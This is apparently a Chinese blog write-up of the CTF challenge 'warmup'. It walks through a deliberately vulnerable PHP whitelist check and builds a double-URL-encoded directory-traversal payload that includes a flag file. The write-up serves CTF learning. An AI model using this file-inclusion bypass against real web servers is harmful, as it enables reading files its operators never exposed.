warmup
知识点:
- 目录遍历
- 二次编码(转换目录)
进去发现是一张滑稽脸,检查源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
尝试访问source.php,得到如下代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先看emmm类,发现白名单中除了source.php,还有一个hint.php,尝试访问
flag not here, and flag in ffffllllaaaagggg
确定flag文件名为ffffllllaaaagggg,然后继续分析源代码,为了显示出flag,我们看到有
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
include的参数我们是可控的,但是要过一个安检,即参数非空,参数是字符串,并且经过checkFile()函数检查后返回true。
我们来研究一下checkFile()函数,如果它返回true,只有3个返回处,条件分别是
- 传入参数在白名单中
- 传入参数第一个'?'之前的字符串在白名单中
- 传入参数经urldecode()后的第一个'?'前的字符串在白名单中。
先排除第一种情况,考虑第二种情况,我们可以通过构造参数让他返回true,但是在include的时候我们又无法让php只包含后面的字符串,考虑到有关于'?'的url转码,查阅相关资料后,得到一个前置知识
'?'或'#'等字符在双重url编码的情况下会使得整个参数被当做一个目录
考虑利用这个特性,我们传入file=source.php?/../ffffllllaaaagggg,然后对?进行两次url编码。
file=hint.php%253F/../ffffllllaaaagggg
传进去发现没出来东西……
思考一下,会不会是flag不在网站目录下?
于是一步步增加返回父目录的数量,终于,在增加到四个的时候,flag出现
payload: file=hint.php%253F/../../../../ffffllllaaaagggg
猜测,网站的通常目录为/var/www/XXX/
,第一次返回父目录是在网站目录下,再加三次就应该可以跳回根目录,前提是flag在根目录下。
以上。
版权声明:本文为原创文章,版权归星夜的蓝天所有。
本文链接:http://poi.ac/archives/46/
本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。转载时须注明出处及本声明